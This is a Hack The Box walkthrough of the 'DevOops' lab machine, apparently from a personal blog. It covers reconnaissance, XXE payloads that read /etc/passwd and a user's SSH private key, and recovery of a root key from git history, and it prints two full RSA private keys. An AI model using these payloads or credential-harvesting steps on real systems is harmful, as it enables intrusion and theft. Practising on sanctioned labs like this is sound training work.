Details

This machine is DevOops from Hack The Box

Recon

Started with a service discovery scan

nmap -sV -p- -T4 10.10.10.91
Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-04 14:35 EDT
Nmap scan report for 10.10.10.91
Host is up (0.037s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
5000/tcp open  http    Gunicorn 19.7.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.30 seconds

User

So I started on port 5000 http://10.10.10.91:5000/

Screenshot 1

So I ran dirbuster

Screenshot 2

Screenshot 3

I tried http://10.10.10.91:5000/upload

Screenshot 4

Potential XXE? So I tried uploading

<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>

Screenshot 5

I tried building a real one instead

<?xml version="1.0"?>
<Wrap>
<Author>Test</Author>
<Subject>Test2</Subject>
<Content>Test3</Content>
</Wrap>

Screenshot 6

This worked, and leaked a username of roosa. So I tried XXE again

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///home/roosa/.ssh/id_rsa'>]>
<Wrap>
<Author>Test</Author>
<Subject>Test2</Subject>
<Content>&test;</Content>
</Wrap>

Screenshot 7

I had confirmed XXE. I had a username of roosa, so I checked to see if there was a private ssh key to steal

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///home/roosa/.ssh/id_rsa'>]>
<Wrap>
<Author>Test</Author>
<Subject>Test2</Subject>
<Content>&test;</Content>
</Wrap>

Screenshot 8

I formatted it better with view source

Screenshot 9

The key was

Which I saved and chmoded. Then tried to use

root@kali:~# ssh roosa@10.10.10.91 -i ./id_rsa
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

135 packages can be updated.
60 updates are security updates.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

roosa@gitter:~$

So I grabbed my flag

roosa@gitter:~$ cat user.txt
[REDACTED]

Root

roosa@gitter:~$ ls -la
drwxr-xr-x 22 roosa roosa 4096 May 29  2018 .
drwxr-xr-x  7 root  root  4096 Mar 19  2018 ..
-r--------  1 roosa roosa 5704 Mar 21  2018 .bash_history
[SNIP]

Interestingly the bash history file was not empty. So I took a look in there

roosa@gitter:~$ cat .bash_history
[SNIP]
git add resources/integration/authcredentials.key
git commit -m 'reverted accidental commit with proper key'
[SNIP]

A git commit saying it removed a "proper key". I searched for a git repo

roosa@gitter:~$ find . -type d -iname ".git"
./work/blogfeed/.git

And took a look at what is there now

roosa@gitter:~$ cd work/blogfeed/
roosa@gitter:~/work/blogfeed$ ll
total 28
drwxrwx--- 5 roosa roosa 4096 Mar 21  2018 ./
drwxrwxr-x 3 roosa roosa 4096 Mar 21  2018 ../
drwxrwx--- 8 roosa roosa 4096 Mar 26  2018 .git/
-rw-rw---- 1 roosa roosa  104 Mar 19  2018 README.md
drwxrwx--- 3 roosa roosa 4096 Mar 19  2018 resources/
-rwxrw-r-- 1 roosa roosa  180 Mar 21  2018 run-gunicorn.sh*
drwxrwx--- 2 roosa roosa 4096 Mar 26  2018 src/

roosa@gitter:~/work/blogfeed$ cat resources/integration/authcredentials.key
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEApc7idlMQHM4QDf2d8MFjIW40UickQx/cvxPZX0XunSLD8veN
ouroJLw0Qtfh+dS6y+rbHnj4+HySF1HCAWs53MYS7m67bCZh9Bj21+E4fz/uwDSE
23g18kmkjmzWQ2AjDeC0EyWH3k4iRnABruBHs8+fssjW5sSxze74d7Ez3uOI9zPE
sQ26ynmLutnd/MpyxFjCigP02McCBrNLaclcbEgBgEn9v+KBtUkfgMgt5CNLfV8s
ukQs4gdHPeSj7kDpgHkRyCt+YAqvs3XkrgMDh3qI9tCPfs8jHUvuRHyGdMnqzI16
ZBlx4UG0bdxtoE8DLjfoJuWGfCF/dTAFLHK3mwIDAQABAoIBADelrnV9vRudwN+h
LZ++l7GBlge4YUAx8lkipUKHauTL5S2nDZ8O7ahejb+dSpcZYTPM94tLmGt1C2bO
JqlpPjstMu9YtIhAfYF522ZqjRaP82YIekpaFujg9FxkhKiKHFms/2KppubiHDi9
oKL7XLUpSnSrWQyMGQx/Vl59V2ZHNsBxptZ+qQYavc7bGP3h4HoRurrPiVlmPwXM
xL8NWx4knCZEC+YId8cAqyJ2EC4RoAr7tQ3xb46jC24Gc/YFkI9b7WCKpFgiszhw
vFvkYQDuIvzsIyunqe3YR0v8TKEfWKtm8T9iyb2yXTa+b/U3I9We1P+0nbfjYX8x
6umhQuECgYEA0fvp8m2KKJkkigDCsaCpP5dWPijukHV+CLBldcmrvUxRTIa8o4e+
OWOMW1JPEtDTj7kDpikekvHBPACBd5fYnqYnxPv+6pfyh3H5SuLhu9PPA36MjRyE
4+tDgPvXsfQqAKLF3crG9yKVUqw2G8FFo7dqLp3cDxCs5sk6Gq/lAesCgYEAyiS0
937GI+GDtBZ4bjylz4L5IHO55WI7CYPKrgUeKqi8ovKLDsBEboBbqRWcHr182E94
SQMoKu++K1nbly2YS+mv4bOanSFdc6bT/SAHKdImo8buqM0IhrYTNvArN/Puv4VT
Nszh8L9BDEc/DOQQQzsKiwIHab/rKJHZeA6cBRECgYEAgLg6CwAXBxgJjAc3Uge4
eGDe3y/cPfWoEs9/AptjiaD03UJi9KPLegaKDZkBG/mjFqFFmV/vfAhyecOdmaAd
i/Mywc/vzgLjCyBUvxEhazBF4FB8/CuVUtnvAWxgJpgT/1vIi1M4cFpkys8CRDVP
6TIQBw+BzEJemwKTebSFX40CgYEAtZt61iwYWV4fFCln8yobka5KoeQ2rCWvgqHb
8rH4Yz0LlJ2xXwRPtrMtJmCazWdSBYiIOZhTexe+03W8ejrla7Y8ZNsWWnsCWYgV
RoGCzgjW3Cc6fX8PXO+xnZbyTSejZH+kvkQd7Uv2ZdCQjcVL8wrVMwQUouZgoCdA
qML/WvECgYEAyNoevgP+tJqDtrxGmLK2hwuoY11ZIgxHUj9YkikwuZQOmFk3EffI
T3Sd/6nWVzi1FO16KjhRGrqwb6BCDxeyxG508hHzikoWyMN0AA2st8a8YS6jiOog
bU34EzQLp7oRU/TKO6Mx5ibQxkZPIHfgA1+Qsu27yIwlprQ64+oeEr0=
-----END RSA PRIVATE KEY-----

So there is what looks like an ssh key, but the commit message says they removed the proper one. So I'll revert to the version just before that and get the old key

roosa@gitter:~/work/blogfeed$ git log
[SNIP]
ommit 33e87c312c08735a02fa9c796021a4a3023129ad
Author: Roosa Hakkerson <roosa@solita.fi>
Date:   Mon Mar 19 09:33:06 2018 -0400

    reverted accidental commit with proper key

commit d387abf63e05c9628a59195cec9311751bdb283f
Author: Roosa Hakkerson <roosa@solita.fi>
Date:   Mon Mar 19 09:32:03 2018 -0400

    add key for feed integration from tnerprise backend

[SNIP]

So I want to go back to that commit

roosa@gitter:~/work/blogfeed$ git checkout d387abf63e05c9628a59195cec9311751bdb283f
error: Your local changes to the following files would be overwritten by checkout:
  run-gunicorn.sh
Please, commit your changes or stash them before you can switch branches.
Aborting

So I just stashed the changes

roosa@gitter:~/work/blogfeed$ git stash
Saved working directory and index state WIP on master: 7ff507d Use Base64 for pickle feed loading
HEAD is now at 7ff507d Use Base64 for pickle feed loading

And reverted to the right commit

roosa@gitter:~/work/blogfeed$ git checkout d387abf63e05c9628a59195cec9311751bdb283f

Now I can check the old version of the file

roosa@gitter:~/work/blogfeed$ cat resources/integration/authcredentials.key
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEArDvzJ0k7T856dw2pnIrStl0GwoU/WFI+OPQcpOVj9DdSIEde
8PDgpt/tBpY7a/xt3sP5rD7JEuvnpWRLteqKZ8hlCvt+4oP7DqWXoo/hfaUUyU5i
vr+5Ui0nD+YBKyYuiN+4CB8jSQvwOG+LlA3IGAzVf56J0WP9FILH/NwYW2iovTRK
nz1y2vdO3ug94XX8y0bbMR9Mtpj292wNrxmUSQ5glioqrSrwFfevWt/rEgIVmrb+
CCjeERnxMwaZNFP0SYoiC5HweyXD6ZLgFO4uOVuImILGJyyQJ8u5BI2mc/SHSE0c
F9DmYwbVqRcurk3yAS+jEbXgObupXkDHgIoMCwIDAQABAoIBAFaUuHIKVT+UK2oH
uzjPbIdyEkDc3PAYP+E/jdqy2eFdofJKDocOf9BDhxKlmO968PxoBe25jjjt0AAL
gCfN5I+xZGH19V4HPMCrK6PzskYII3/i4K7FEHMn8ZgDZpj7U69Iz2l9xa4lyzeD
k2X0256DbRv/ZYaWPhX+fGw3dCMWkRs6MoBNVS4wAMmOCiFl3hzHlgIemLMm6QSy
NnTtLPXwkS84KMfZGbnolAiZbHAqhe5cRfV2CVw2U8GaIS3fqV3ioD0qqQjIIPNM
HSRik2J/7Y7OuBRQN+auzFKV7QeLFeROJsLhLaPhstY5QQReQr9oIuTAs9c+oCLa
2fXe3kkCgYEA367aoOTisun9UJ7ObgNZTDPeaXajhWrZbxlSsOeOBp5CK/oLc0RB
GLEKU6HtUuKFvlXdJ22S4/rQb0RiDcU/wOiDzmlCTQJrnLgqzBwNXp+MH6Av9WHG
jwrjv/loHYF0vXUHHRVJmcXzsftZk2aJ29TXud5UMqHovyieb3mZ0pcCgYEAxR41
IMq2dif3laGnQuYrjQVNFfvwDt1JD1mKNG8OppwTgcPbFO+R3+MqL7lvAhHjWKMw
+XjmkQEZbnmwf1fKuIHW9uD9KxxHqgucNv9ySuMtVPp/QYtjn/ltojR16JNTKqiW
7vSqlsZnT9jR2syvuhhVz4Ei9yA/VYZG2uiCpK0CgYA/UOhz+LYu/MsGoh0+yNXj
Gx+O7NU2s9sedqWQi8sJFo0Wk63gD+b5TUvmBoT+HD7NdNKoEX0t6VZM2KeEzFvS
iD6fE+5/i/rYHs2Gfz5NlY39ecN5ixbAcM2tDrUo/PcFlfXQhrERxRXJQKPHdJP7
VRFHfKaKuof+bEoEtgATuwKBgC3Ce3bnWEBJuvIjmt6u7EFKj8CgwfPRbxp/INRX
S8Flzil7vCo6C1U8ORjnJVwHpw12pPHlHTFgXfUFjvGhAdCfY7XgOSV+5SwWkec6
md/EqUtm84/VugTzNH5JS234dYAbrx498jQaTvV8UgtHJSxAZftL8UAJXmqOR3ie
LWXpAoGADMbq4aFzQuUPldxr3thx0KRz9LJUJfrpADAUbxo8zVvbwt4gM2vsXwcz
oAvexd1JRMkbC7YOgrzZ9iOxHP+mg/LLENmHimcyKCqaY3XzqXqk9lOhA3ymOcLw
LS4O7JPRqVmgZzUUnDiAVuUHWuHGGXpWpz9EGau6dIbQaUUSOEE=
-----END RSA PRIVATE KEY-----

I saved this key too and tried it on root

root@kali:~# ssh root@10.10.10.91 -i ./id_two
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

135 packages can be updated.
60 updates are security updates.

Last login: Mon Mar 26 06:23:48 2018 from 192.168.57.1
root@gitter:~#

And there's my root shell. So I grab my flag

root@gitter:~# cat root.txt
[REDACTED]

HTB: DevOops

Details

Recon

User

Root

Published by Jack

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